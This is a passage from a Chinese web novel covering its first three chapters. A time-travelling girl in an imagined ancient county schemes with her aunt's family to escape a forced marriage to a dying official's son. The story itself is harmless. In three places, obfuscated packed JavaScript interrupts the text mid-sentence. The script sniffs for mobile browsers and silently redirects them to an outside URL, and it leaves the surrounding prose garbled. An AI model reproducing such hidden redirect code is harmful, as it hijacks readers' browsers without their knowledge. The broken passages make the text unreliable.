《夜夜赴荒原》 1. 第 1 章 第一章 建明二十七年,初夏。 江宁府的树叶刚绿,绕城而过的染江也比上个月涨了些水,早晨起来拂过面颊的风还有些许凉意。 薄雾笼罩下的怀远县城也跟着初升起来的太阳渐渐热闹起来。 方绾宁和姑妈一起推着小车一早就赶到了闹市街,趁着人多,好早些把手里这些编织的竹篾给卖出去。姑妈看着五大三粗的,手里的活精细着呢,样式好看又耐用,在这一条街也算是小有名气。 没一会儿,手里的货就销得七七八八了。 “宁丫头。”姑妈叫了一声旁边正在耍懒的方绾宁,“去,到信阳街那家什锦轩买俩块枣酥去,看看有什么新鲜东西你多买两块,你表哥爱吃那家的糕点。” “姑妈,什锦轩可是隔这四条街呢,都快晌午了。你让我吃了午饭再去吧,我也忙活一上午了,又累又饿呢。”沈绾宁摸着肚皮,一副无精打采的样。 姑妈现在可不吃这套了,这绾宁自去年落水大病了一场后,不知从哪儿学的那副偷懒耍滑的模样,刚开始还挺心疼的,后来发现这丫头一让干活就这疼那疼,干了一会儿又这累了那饿了,简直花样百出。 姑妈瞪了方绾宁一眼“那就拿着这个馒头,路上边走边吃。”说完塞了一个白馒头给了她,又拿了些银钱“你路上走快些,买了赶紧给书院里的表哥送去。读书的日子艰苦,让他多吃些,别太累了。”说完推了方绾宁一下肩膀,催促着她赶快去。“别耽误了时辰。” 方绾宁苦着脸顶着日头才心不甘情不愿的出发了。“绾宁。”姑妈又往怀里塞了两铜板,“饿了就买些东西吃,听见没。下午等你堂哥这次下学一起回家,姑妈在家里等你俩回来,别调皮让你堂哥操心。” “好勒!姑妈。”方绾宁脸上终于露出了笑意“我乖着呢,从不让堂哥担心!”说完就往信阳街方向去了。 怀远县离江宁府近,坐船的话一天就能到,这也使得怀远县的布匹能销往各地。因此这里也算是很富庶的县城了,再加上瞻松书院就坐落在城西的万松山腰上,这所书院虽是四大书院的末流,但每年也会吸引大批学子不远万里的奔赴就读。 方绾宁顶着太阳在街上走着,姑妈给的馒头顺手就给了路旁的小孩子,方绾宁望着街道两旁的铺子,神情一下子就失落了起来。 她抬起手看了看自己瘦弱的胳膊和身体,无奈的叹气。本来都已经通过研究生考试了,爬山庆祝一下结果不小心摔下山去,睁眼就到了这里。没有彻底死去原本已经很感恩戴德了,可这里是什么地方。 重男轻女,尊卑礼仪,阶级制度森严,人命如草芥的古代啊。不过还好,这个叫东州的国家对女性的约束不是特别大,街上抛头露面的女性还是随处可见,偶尔还能瞧见官宦人家的女公子在街上打马而过。风气算得上开放,治安也不错。 刚穿越来的时候惊慌失措,原身的什么记忆也没接收到。生怕一个不注意就露馅了,担惊受怕的愣是三天没敢开口。直到确认姑妈一家都是真心对她好的时候,方绾宁才敢用失忆这个幌子搪塞过去。 姑妈姓陈,是十里八乡有名的勤快人,手巧得不行,编的竹篾十分精致。靠着这手艺,家里的日子过得还算舒心。听说这门手艺还是她从绾宁母亲手里学到的,所以自她父母去世后一直将绾宁当做自己亲生女儿疼爱。这不,一听侄女居然还坏了脑子,心疼得姑妈立马杀了院子里的老母鸡给落水的绾宁补补身体。 方绾宁对这个便宜姑妈感恩戴德,因为她是真的好。勤劳又朴实,穿过来大半年了,愣是没让方绾宁干过一点重活儿,还给她做了不少漂亮衣裙。 但如今这具身体已经十四,等到明年及笄就该嫁人了。前俩天还在门后听见姑妈给她相看人选,不是木匠就是城东打铁的,本来挺中意村里那个苦读书的书生,但姑妈一听人家家里家徒四壁,只剩下纸糊的窗户时,立马打消了这个念头。可以不大富大贵,但如果连侄女想吃的零嘴和花花绿绿的小裙子也买不起的人家,还是别考虑了。 这样一想着留给方绾宁的时间可就不多了呀。 方绾宁在什锦铺子里买了糕点往城西走去,路已经很熟了,毕竟自从半年前落水病好后,就一直跟着姑妈来县城做买卖。对这不大不小的县城也算是熟门熟路。 什么地方租车,渡口的船商,买卖的牙行……不说一清二楚,但如果要逃个婚啥的,方绾宁还是很有把握在半天时间内走出怀远县的。 想让她遵从媒妁之言嫁给一个从未见过面的男人,那她宁愿从那崖上摔下来直接身死,当这场穿越就是黄粱一梦。 当然了,如今还没到时候呢。 还能有些时间留给自己上树下河,抓鱼逮鸡。村口小河边的秋千好不容易搭好,还没坐够本怎么也该把这夏天过过去吧。 走了些路,方绾宁终于到了书院门口。 但她是如何也进不去的,毕竟这时代贫苦人家的女孩子哪有书读。方绾宁也老老实实的扮起了文盲,极力做一个不谙世事还调皮捣蛋的小姑娘。女红是一点也学不会啊,能给衣服打个补丁已经是对得起手上扎的针眼了。 进不去就进不去,方绾宁也不想进去,天天在家听她堂哥念书耳朵都要起茧子了。 只见她在书院不远处找了棵歪脖子树,手脚麻利的爬上去,拿手帕盖住了眼睛就开始睡起了大觉。 风吹得人有些懒洋洋,不知过了多久,耳边好似听到了声响。 “嘿,姑娘” 有人在叫她?不过方绾宁还没醒。 ”姑娘,你手帕掉树下了。“ 那人接着说,但树上的人只是眨巴了一下眼睛,并没有睁开。 “姑娘,你的衣裙被风掀开了。”那人语气有些急了“书院马上要下学了,你还是快醒醒吧。”说完,那人从地上捡了一颗小石子就往树上扔。 还挺有准头,砸在方绾宁的额头上,立马起了红痕。这下怎么着方绾宁也该醒了。 只见她捂着额头朝树下看去,一个感觉年龄比她还小些的男孩儿。看身上的衣料,家里也算是富贵人家 “喂,小孩儿,你怎么如此没礼貌。”方绾宁有些恼。说完整理了一下被风掀起衣裙,啧啧,还好只是被这小孩看见了,再大些可就不太好了呀。 ”姑娘,你怎可在这睡觉。还好我叫醒了你,要不然一会儿书院的学子们,下学后看见你衣衫不整的模样成何体统?”那小孩儿身穿一件墨绿色的圆领袍,眼神看了一眼方绾宁,便扭头朝旁边走去了。 顺着这小孩儿的方向看过去,只见书院门口不知何时来了一行人,足足有四五辆马车,他们正将马车上的行李卸下来。小孩儿跑到一个人跟前行了个礼,便接过男人手中的帖子去敲了书院的门。 那人头带了一个纱帽,身着彩纹翻领圆领袍,拿着一把扇子轻摇着扇风,身姿挺拔,面貌不俗,方绾宁看了他好几眼这人愣是半点眼神没有望过来。看这行人的模样,应当是来求学的学子,不过看穿着打扮和这排场,想来起码也应该有个不一般的背景。 反正是方绾宁惹不起的,她从树上跳了下来又捡起地上的帕子,老老实实的往远一点的地方挪了一些,看天色,书院也该下学了。 方绾宁的堂哥方清砚早早通过了秀才考试,却在上一次的乡试里落了榜,如今在瞻松书院刻苦读书,备战下一次秋闱。方清砚今年也才19,其实还是很有潜力了,多少读书人考了大半辈子连一个秀才也考不上,而他在十六的时候就是了。家里为了供他念书也是殚精竭虑,姑母和姑父二人起早贪黑得挣银子给他买书,买纸买笔。 幸好方清砚不是那种迂腐死板的读书人,闲暇之时也时常帮衬家里,还跟着姑父上山打打猎啥的,弓箭也是用的很不错。看他那结实的臂膀就知道不是个两耳不闻窗外事的酸秀才了。 方绾宁看着书院派人迎了门口那帮人进了门,态度谦卑,点头哈腰,像是那个男人给书院捐了一栋楼似的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445176|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当然了,之后方绾宁知道了这人的身份,她肯定觉得捐楼都还是太小儿科了,就应该把这山头给推平了给他们盖一座金光灿灿的藏书阁。 没一会儿,书院终于下学了。 这一次休息日得有三天,正好回家给堂哥过生辰。见方清砚走出了书院门口,方绾宁连忙迎了上去,将手中的糕点藏了藏。毕竟和堂哥一起出来的还有他的同学呢。 方清砚瞧见了她,和同学作揖告了别。 “绾宁。“方清砚走了过来,手里提着书匣。”上次我不就和你说过不让你来接我嘛。“ ”清砚哥,我这哪儿是来接你的,我是来偷懒来了。“方绾宁仰起一个大大的笑脸,”中午那阵跟姑母卖完竹篾就来了,你瞧瞧我给你带了啥?”说完就将身后的糕点献宝似的拿到方清砚跟前。 “怎的还拿我当小孩子嘛。“方清砚无奈,但还是将糕点接了过去,等周围同学都走过了才拿出一块放在嘴里。“这是什锦轩的吧,味道真不错。谢谢绾宁了。” 方绾宁接过书匣“那可不是嘛,价格也好看着呢,路上我是一点没偷吃哦,都是姑母的意思,毕竟明日就是你生辰了。” 方清砚听完这话也塞了一口糕点进绾宁的嘴里。 ”谢谢清砚哥。我们赶快回家吧,再晚就赶不上回家的牛车了。“方绾宁拉着方清砚的袖子下了山。 等回到了家,天边的火烧云正盛,天空暗下去变成浓烈的蓝色。家里已经将晚饭摆上了桌,见他们俩进了院子,陈娘子放下手中的竹篾,招呼着二人快进屋吃饭。 “怎么比往日晚了半刻钟?”陈娘子对着儿子询问。 方清砚回答:“本来还应该早一刻的,但绾宁见到她村头系着的秋千了,死活得上去玩儿一会儿。”说到这他看了一下旁边的方绾宁,语气里却一点没有怪她的意思。“ 方绾宁此时将身后的东西拿了出来,是一条巴掌大的鱼,正是在秋千下的溪里抓住的:“姑母别生气,你看这是什么?嘻嘻,今晚可以加餐啦!” 陈娘子无语,敲了一下绾宁的头,正好打中了今天那小孩拿石子砸中的地方。方绾宁哎哟一声。 “怎么了这是?”陈娘子急忙问道。 “没事没事。可能是肚子太饿了吧,饿的头也开始发昏了。“方绾宁没将那件事说出来,撒娇似的对陈娘子说:”姑母快去将这条鱼煮了吃吧,好让我和清砚哥补补脑子。“ 陈娘子被她逗得笑出了声,接过那条鱼就去了灶房。 正好,这时姑父也回了家。姑父方余左手拎了一只山鸡,右手采了一捧花,笑眯眯的进了院子,见檐下的二人正杵在那,忙大着个嗓门喊道:”你们回来啦,清砚你明早跟我上山,我今天在山里发现了一窝兔子的踪迹,留了记号,明日你生辰定能吃个全兔宴!“说完就将山鸡扔进了笼子,拿花的手却没放下,问绾宁:“绾宁丫头,你姑母呢?” 方绾宁和堂哥对视一笑,朝灶房努努嘴。方清砚说:”父亲你小声些,只怕母亲现在已经知道你回家了,你那花也别藏了,快送去吧,都快被你揉皱了。“ “哎呦,哎哟,这可不好。我采了好些时候呢。”方余松了松手里的花,抖了抖,笑着朝灶房轻手轻脚的走了去。 方家这夫妇二人感情实在是好得不得了,隔三差五就能被喂一嘴的狗粮。春天的时候花是天天换不带重样的,夏天的莲子家里也没断过,秋天树上的野果,冬天大雪封山,方余进城做工也不忘给陈娘子买发簪。 就是这样的家庭环境啊才生得出方清砚这样的人,虽是读书人,但有拉重弓的力气,一手字写得潇潇洒洒,看的人还以为是个风流才子,谁知私下却爱吃甜食。半个村的小娘子都想嫁他,他却说不中举人不娶亲,搞得方绾宁以为他早就心有所属了,私下还曾暗悄悄的问过,不过都被他否定了。 方清砚红着脸说没有没有的样子,真是此地无银三百两。不过绾宁也没深究,毕竟谁心里还没个不能说的秘密呢。 2. 第 2 章 第二章 晚饭后,方绾宁照常收拾了碗筷去灶房洗碗,刚挽起袖子,陈娘子便走了进来 “宁丫头,你额头好些了嘛,刚才瞧见你额上有红痕呢,难不成真被我用了浑劲儿伤着了?“ “哪儿能啊,姑妈。”说着方绾宁抓住陈娘子往她头上摸的手,“我皮实着呢,没事儿。” “那你身子可大好了?去年你掉河里去那阵可是危险着呢,就怕你被河底里的石头磕坏了脑袋,你瞧,往年的好些事儿你都想不起来了。”陈娘子拉着绾宁的手,是真心实意的关心她,“不过见你伤好之后还是和以前一样活泼好动,我心里就放下了一块石头。” 方绾宁心想,姑妈这都过了快一年了还在提及落水的事,她要说的恐怕也不是这件事吧。“这得多亏了姑妈和姑父的照顾,绾宁感激你们的大恩大德。如若不是你们,我也早就在双亲去世的时候流浪到街上,饿死在哪儿都不知道呢。” “哎,你可别这样说。你父母当初遭遇不测也是意外,那么大的风浪,满船的人能活下来的屈指可数。我们同你的父母那可是血缘上密不可分的亲人啊,再加上你母亲助我良多,抚养你个半大丫头还是不在话下。”陈娘子说到这停顿了一下,看向方绾宁的目光隐含着热泪。 “宁丫头,我就跟你说实心话吧,你明年就及笄了,也到了该成婚的年纪。” 来了来了,方绾宁果然猜得没错,女孩子该嫁人了,但嫁人理应是个高兴的事儿,为何姑母却伤心的像要卖女儿一样。 “姑妈,我还小呢,还不想提这个,让我陪你们长长久久的吧,我还想看着清砚哥成举人老爷呢。”方绾宁皱着眉看向陈娘子,“难道您如今就想将我嫁出去嘛?” “呸呸!我是一点这样的心思也没有啊,宁丫头。”陈娘子拉着她走出了灶房,搬了个小凳子就坐在院子里。“我是真心将你当作我女儿的,当年哥嫂走得突然,我们接到消息急忙赶来就看见你坐在廊下那孤苦无依的模样,心里都揪紧了。尽管当初母亲去时咱们分家闹的不愉快,但亲兄弟哪有隔夜仇呢。” 方绾宁还是第一次听姑妈讲起这件事,当初还纳闷为什么俩兄弟一个住县城里,一个却住在村子里,而且还听说原身以前县城里的房子那是夏漏雨,冬吹风的。相反姑妈一家在这小村子里还过得更舒心些。他们自个儿建的院墙坚实,院外的篱笆旁还开垦了许多菜地,春天还有不少野花爬上院门。 原来是当初两兄弟闹了矛盾,才使的两家离心没和他们住一起。 “当初你才七岁一个小姑娘,你父母听了别人的撺掇非要去北边经商,就将你扔给隔壁那杀千刀的老虔婆,她哪会照顾小孩子呀,得了你父母的银钱就将你扔在那破屋子里自生自灭。我们到的时候你虚弱的像只猫儿似的,差点没活的下来。”说到此处,陈娘子将方绾宁搂进怀里,哭出了声。 原以为接下来该是好一阵的温情戏码,谁知陈娘子却突然开始揭短了。 “我和方余俩好不容易将你盘活了,本想让你跟着清砚读书写字,谁知却养得你现在是能爬树捣蛋摸鱼抓虾了。而且还学会了打架,十岁就将老李家他那个大胖孙子打得趴在地上跟你求饶。” 姑妈,你可别说啦,现在那胖子减肥了,但见到我该哆嗦还是得哆嗦呀。方绾宁心想,原主那得是多彪悍的一小姑娘啊。 “十二岁那年你还跟着你姑父他们去打了头野猪你还记得吗?你拿着你姑父给你做的小弓箭射伤了野猪的眼睛,你清砚哥当时背着弓箭都没来得及出手,就你坐在树杈上射出了一发冷箭,你真是一点也不怕啊,得亏你这一箭这才让他们有机会将野猪赶进了陷阱里,事后,你还得了那野猪的一对獠牙你还记得嘛?” 什么?野猪?这种野性十足的怪兽原主还为此出了一份力嘛?我现在可做不到了呀喂!方绾宁心里对原主肃然起敬啊。 “都怪方余,都是他当初非带着你说要锻炼体魄,他以为你是个小子嘛。”陈娘子朝着里屋的方向啐了一口,“你娘亲要是知道你如今这样,想来都得怨死我了。”说着,又开始掉眼泪了。 “姑妈,要是我娘知道了,那可要感谢你才是,感谢你将我养的那样好,白白胖胖,身体无恙!上能摘果,下能抓鱼,要是有一天我真的嫁人了,定是谁也欺负不了我,在婆家作威作福的架势。” 方绾宁不知道这句话有什么问题,姑妈听后哭得更凶了。 “姑妈,到底是发生什么事了?你今天有些不寻常。“方绾宁问。 姑妈这才止住了哭泣,缓缓道来:“说起来,就该怪我才是,前几日,有个媒婆上门替村南的打铁匠他儿子说亲,虽然你现在还没及笄,但那户人家就是看中你性子爽朗,模样如花似玉的,笑脸艳艳跟个小太阳似的,这可是那媒婆的原话,可不是我胡诌的。那铁匠的儿子我也是见过的,人还是挺俊朗的,你应该也是有些印象吧,我记得我上个月遣你去他那店里拿我订的锅具,你还记得?” 这样一说方绾宁还有了些印象,但全程和那人根本一句话没说上啊,就她一个人和店主一张小嘴叭叭叭的聊了会天,拿到东西就走人了:“记得,记得,但我根本没和他儿子说过话呀,和那铁匠倒是聊了会儿。” 当然得聊哇,不聊怎么知道这个时代的金属冶炼制造到哪一步了。 “对了对了,就是这样,那铁匠看你落落大方,正好和他那怯懦含蓄的儿子配一对。急忙就让媒婆上门了,还说可以两家先定亲,等你明年及笄一到就嫁过去。” “你同意了?” “没呢,没。你听我说完,我当时可立马回绝了,尽管那家出的聘礼还挺丰厚,但姑母我哪能让你去嫁那些个五大三粗的汉子。不过那媒婆实在是吵闹,就退一步先将你们的生辰八字拿去合一合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445177|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你就不怕合上了,就是天造地设的一对嘛?”听的方绾宁心里发颤,难不成还能凭这个就将自己嫁了过去? 陈娘子立马解释:“瞧你说的,这就是个推辞,咱村里那个合八字的师傅我拿钱去,让他撒点小谎那还不简单。”陈娘子说到此处叹了一口气,“也怪我,谁知你的八字确实也没合上那小铁匠,倒是合上了另一个人。” 原来,怀远县有个员外,家中独子病重,试了很多方法也没能救活,听说已经躺在床上两三年了,汤药就没断过。那员外最后也无法,趁着儿子还没咽气,想给他家留一个香火。便全县城的找合他家儿子八字的女孩儿,找到的会有一笔丰厚的赏钱。 “都这种情况了,是个女的不就成嘛,还要对八字?只要那员外肯撒钱,应该上赶着为他家留后的人得排到城门口吧。”方绾宁无语至极。 “瞧你说这些话,还像个未出阁的小娘子嘛。”陈娘子教训道,但方绾宁也是翻了个白眼,“想来也是个讲究的,那员外竟然真的在城里找了起来,体弱多病的不要,八字不合的不要,面貌身形不佳者不要。最后那不就是找到了你身上了。” “这是夸我呢,还是怪我自己倒霉呀。” 当时那师傅拿到方绾宁的八字,就差喜极而泣了,俩人的八字格局相似,还说是命定的良缘。而方绾宁的模样这师傅是看过的,当即觉得这就是员外要找的人,立马就去报了员外知晓。 “就在今儿下午,那八字师傅张三就领着员外家的管家来了,带着厚厚的礼,就要将你娶了去。那周姓管家实在是无礼,我都说了你今年才十四,他竟说只要给了足够的钱,不管什么年龄的姑娘都得进他们周员外的门。” 陈娘子说着竟站起身来对着那周员外破口大骂,惊得方余和方清砚都从里屋里走了出来,看着方清砚脸上的表情想必已经从他父亲嘴里知道这件事儿了。 “管他多厚的聘礼,我们不收不就行了,他们还能上门绑人不成?我们绾宁这模样还能愁嫁嘛,什么员外郎,我看是黄鼠狼才是!。”方余走近来牵起陈娘子的手,“你也别伤心生气了,这事儿我们不答应就是了。” 陈娘子推开方余的手,就冲他说:“你们下午没一个人在家,你都不知道,那管家有多凶,我都说了不嫁不嫁,他还说如若不将绾宁送到他们府上就,就要让我们全家在怀远活不下去。” 方绾宁站在一旁第一次感到不知所措,因为她知道,这个朝代的员外郎相当于半个官职,算是个替补官员,尽管在官场上是个芝麻大小的存在,但对于平头老百姓是真的像座大山一样。 方绾宁望着满脸泪痕的姑妈和一旁叹气的姑父,也是深吸了一口气。穿越以来的日子第一次感觉到了紧迫。 还有一旁默不作声的方清砚,不知道他的想法,因为只要得罪了这个员外郎,他的科举之路势必受阻。 3. 第 3 章 第三章 第二天方清砚的生辰宴吃得味如嚼蜡。 就算方余将山上的兔子全抓了来,桌上没一个人有笑脸。不过方绾宁除外,她天塌下来都吃得下,还站起来撕了个兔腿给方清砚:“清砚哥,生辰快乐!祝你早日考上举人,然后再是进士,让我们方家出息出息!” 方绾宁昨晚躺床上想了很久,终于决定要将自己的逃婚大计提前了。 只不过这一次,不是她自己悄悄走,还要和全家人商议一个万全之策。一个就算方绾宁跑了,但方家还要找周员外算账的万全之策。 “我知道你们都担心我呢,别慌,我已经想好对策了,我可以嫁。”方绾宁话音刚落,陈娘子就厉声说:“你嫁,你怎么能嫁去那个虎狼之家,那周员外的儿子就是个痨病鬼,说不准哪天就死了,你嫁过去就是守寡。还要被他们全家人磋磨,你要是嫁了去,我也一头撞死算了,省得之后去地下见了你娘亲被她指着鼻子骂。” “你不能嫁,绾宁,你先别慌,如今朝廷还算是执法清明,我相信你不想嫁没人能逼迫得了你。”方清砚这样说道。 “是啊,他们就算是个员外郎,那也不可能让我们活不下去的,只要我们有手有脚就饿不死。”方余这样说。 全家现如今是同仇敌忾,誓要与邪恶势力不共戴天。 方绾宁听着心里实在是暖心极了,就算这事儿事发突然实在棘手,但家人始终是温暖的。第一次,方绾宁受了委屈没有想家。 “我也不是真的要嫁,我可以假装嫁给他,然后拟定个逃跑计划,让我嫁给他们周家的第一天就失踪。然后你们就可以趁机……” “不行,不行,这怎么可以,哪儿能拿你的清白开玩笑,你一旦和那病秧子拜了堂就算作他们周家的人了。往后你可怎么活啊。”陈娘子坚决反对。 “绾宁,别任性,收起你那些想法,别将自己的后路走绝了。我们会保护你的。”方清砚也不同意。 “我计划还没说完呢,你们先听我说完啊。” “不用说了,你这几天就老老实实在家呆着,如若他们再来,我就拿棍子将他们打出去!“方余说完往嘴里塞了一口肉,眼神里闪出半分凶狠的精光,像是要和人拼命去。 果然没出两天,周家再一次找上了门。气势汹汹的让方绾宁非嫁不可。但呆了不到半盏茶就被方余扔了出去。 他们原以为这种坚决的态度会让周员外知难而退。可他们不知道,在一个小县城里,有点权和有点钱的人要针对一家普通人多么容易,根本不用触犯律法,就能让日子越来越难过。 先是陈娘子的竹篾一个也卖不出去,再是方余频频的空手而归。就连方清砚去买书买纸都能被店家拒之门外。 这几天方绾宁也没闲着,她先是去打听了一下周家的情况,然后在县城里转悠了好几圈,确认自己的计划切实可行时,便回到了家里再次将上次的计划放到了桌面上。 “我知道你们是忧心我呢,但日子如果真的要这样过下去,那人生还有什么奔头呢,大家先别急,听听我的计划。” 方绾宁将这个她考察了小半年的计划娓娓道来:”周员外那儿子我打听到,听说已经好几天没醒了。能不能洞房那都是另一回儿事,关键是他们只要一个名义上他儿子生出来的血脉而已,所以跟我洞房的人没准儿只是姓周,绝对不是他儿子,说不准还是他老子呢。“ “噗~”坐在桌前的方家夫妇听到方绾宁说完的话,集体将嘴里还没咽下去的茶水喷了出来,“所以哪是周家挑儿媳妇讲究啊,这是周员外给自己挑姨太太吧。”陈娘子说。 “姑妈,但人家也确实用的是他儿子的生辰八字呀,不过这都不重要。重要的是周家很急,非常着急,因为如果周员外他儿子哪天走了,这计划就泡汤了。” “但既然只是想要留一个后罢了,让周员外自己努力一把不是也一样嘛。”方余果然是个好奇宝宝,马上提出疑问。 方绾宁将这几天了解到了情况说了出来:“周员外毕竟还是要名声的,前些年城里有人爆出周员外在青楼狎妓置人死亡的丑闻,那周家可以花了好大的功夫才摆平的。而且那件事也对他造成了不小的影响,他候补的官职起码得往后推迟三五年。所以这一次他谨慎了许多,对比起一个年近五十的人娶一个黄花大闺女就为了留后,还是替儿子娶儿媳妇风险小的多。”方绾宁停下喝了一口水继续说道:“所以,咱们可以利用周员外这点还有这股子急切,摆他一道。” 陈娘子看了眼前的侄女忽然觉得有点陌生,毕竟前些日子明明还是个无忧无虑的小女孩呢,现在说起这些东西来却那么头头是道,还以为她没个正形天天往城里瞎逛,只是贪玩耍懒,想不到她竟悄悄了解到了那么多事儿。 陈娘子心里有些疼,又怨恨自己啥也帮不上忙。像是察觉到了她的情绪,绾宁看向姑妈展开了一个笑脸,跟以前一模一样,稚嫩的,青涩的,但好像又长大了,带了些大人才有的忧虑神色。 “所以明天,姑妈你叫上媒婆,提前跟她打好招呼,说我们想通了,这是一门天大的好亲事,我们悔之不及。只盼着绾宁能早日嫁进周员外家为他们开枝散叶,传宗接代。然后理所应该的收下周家的聘礼,并且绝对会真心实意的将我送到府上,趁机提出要求,就算我如今没有及笄,宴席也要让他们大操大办,而且还要他们晚上来迎亲。他们绝对会答应的,毕竟他们可等不及了。成婚的时间还要我们来定,就在五天后。” “什么!五天?那么快。”方余听到这个消息惊得差点掀翻了桌子。 “对,必须是五天,我已经打听到五天后而且是晚上,有一艘周家绝对不敢查探的船要离开怀远。” 就是那天在书院门口那行人了,据说是某地有点威望的富商,送家里少爷来念书的,确认完了少爷在安心读书就该回去复命啦。“我可以趁机随着这艘船离开怀安。” “你咋上船,他们是私船肯定不会让你上船的,绾宁丫头。” “谁说我要上船了,我只是搭一下顺风船,我拴根绳子在船身上,然后牵着在后面游。” 方家夫妇听见这差点没当场晕过去。连连否定这计划,要就此作罢。“如果要拿绾宁的性命开玩笑,那还不如跟周家撕破脸呢。”他们这样说。 可撕破脸之后又当如何,如若留在怀远就得继续被周家刁难,若离开怀远,依照方家现在的经济条件,在别的城市安家,数不清的难处便会蜂拥而至,路费咱就不说了,居住的话是买房还是租房,这两个选项可都不便宜。就算安定了下来,家里的开支怎么办人生地不熟该如何赚钱?并且方清砚再也不能安心读书了,他得放弃科考,出门去赚银子补贴家里。如若落到这般境地,方绾宁该以什么姿态留在这个家里。 这些其实他们都看得清楚,方绾宁也能看得清楚,她不想让发生在自己身上的这些破事儿成为考验人性的砝码,她只有自己谋划。她何尝不知道风险,但她只能向前。姑父姑母已经对她很好了,不能再让原本祥和安宁的生活走向苦难。 “姑妈,撕破脸对我们这样的人家没有一丁点好处,如若还想让生活回归以前的平静,就得铤而走险拼一把,没准儿会有意外的收获呢?”方绾宁好说歹说,将自己的计划原原本本的告诉了他夫妻俩,终于说动了他们答应了方绾宁的计划。 隔天,陈娘子便照着绾宁的话被媒婆领着去了周家。出门前,千叮咛万嘱咐,面上一定要高高兴兴,不能露出一丁点的不喜,说话间还要表露出前几天没答应的后悔样儿。 方绾宁在家焦急的等待了一天,终于在天擦黑时,陈娘子带着满车的聘礼回家了。但也带来了一个坏消息,接亲的前三天,周家会派人来,说是来提前教教规矩的,但大家都清楚,只是周家不放心,前来盯梢的。但除了这个,方绾宁的条件,周家都答应了,还带来了已经备好的婚服之类的,想必周家早就猜到了这等结局,毕竟谁又敢真的得罪了他们呢。 计划得紧锣密鼓的进行了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445178|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,方绾宁进城了,先是去瞻松书院找了方清砚,送了家中备好的吃食,然后在他问起家中近况时告诉他一切安好,姑父姑母不会让她嫁人的,已经回绝了周员外,让他安心读书。 然后返回城里,凭借现在还很瘦小的身材,在集市里甩掉了周府派来盯着她的人。在巷子里左拐右拐去城东一个张娘子家里取前几天订做好的衣服,是周府丫鬟的装束。这个娘子的妹妹就是在周府干活,熟知里面的一些情况,方绾宁撒谎说是为了混进去见亲哥让她保密,还多给了一些银钱,她才相信。 出了那张娘子家里,方绾宁来到了渡口。找到了那艘中型客船,这船停在渡口非常显眼,不仅比其他船只高出许多,在船头还绘有图腾,船身上还大大写了一个刷了金漆的”林“字。 方绾宁细细观察了那艘船好几天,还问了码头上的船夫,听说这艘船是自江宁府的方向来的,那他回程的时候就该是顺水,航行个两三个时辰便能到达下一个渡口——秋叶渡。而那儿已经是登州的管辖范围了。也就是说,方绾宁在水里只要坚持两三个时辰,便能在下一个渡口上岸。然后走陆路去余杭。 余杭是东洲南方地区重要的经济繁荣大城市,离江宁府就隔着一个登州。到时候周家的人铁定是找不到了。方绾宁再凭借自己的聪明才智,在这超级大都市里一展才华,光是把古今中外的名诗背一遍都能狠赚一笔。 方绾宁站在码头旁的一棵树下的阴影里,深深吸了一口气。拍了拍自己的胸口。 一切顺利,希望一切顺利。 等离了怀远,之后的路就算再难那也是自己选的路了。 方绾宁悄无声息的又出现在了周府的眼线范围内,仿佛刚才跟丢的那会是真的眼花了。 她一边走一边吃着刚买的果饼,向城外走去。背上背着个小包袱,若无其事的回了家。 天气渐渐热了起来,稍稍在日头底下站一会儿便是一身薄汗。陈娘子已是减了衣裳,只穿着一件窄袖衫和桃心领的深色褙子。 方绾宁自那天去了城里之后再也没出过门,周家派遣教规矩的婆子也在昨天来了家里。这下全家更是如坐针毡,紧张得不行,生怕人家看不出马脚。 还好一干事宜在昨天全都交代完了,只需要全家演戏好好配合就行。 方余是个眼睛藏不住事儿的,这几天全打发去山上抓野鸡去了。家里就剩下方绾宁和陈娘子。 陈娘子一会儿给那婆子又是端茶又是捶腿的,还将家里挂着的腊肉取下来招待她,十成十的谄媚,衬得全家都是一副好拿捏的模样 方绾宁更是一会儿装作待字闺中的娇羞模样,一会儿又是天不怕地不怕不谙世事的疯丫头,唬得那婆子一愣一愣的。 特别是在教授如何与他家少爷圆房一事上屡屡败下阵来。 “方姑娘,你不日就要进我们周府了,我们府上的规矩你可都记得了?” “记得了,记得了,李妈妈。嫁鸡随鸡,嫁狗随狗,嫁给你家少爷我就是他新的娘。” “是新娘,不是新的娘,你在胡说些什么?” “不是这样嘛,你不是让我主动些,为他脱衣服,脱裤子,晚上还要和他抱在一起睡觉嘛?这些明明就是娘亲和我做过的事儿,放心吧,绾宁全都做得到!”方绾宁露出一双无辜的大眼睛,清澈见底的瞳孔倒映着那婆子无语的神情。 “咳咳……” “你要好好为人新妇。” “我定要像他母亲一样照顾他!” “你入府后不可与长辈顶嘴,要晨昏定省,含腰低眉。” “我吵架没输过的,弯腰也在行!” “我是让你不要这么做!” 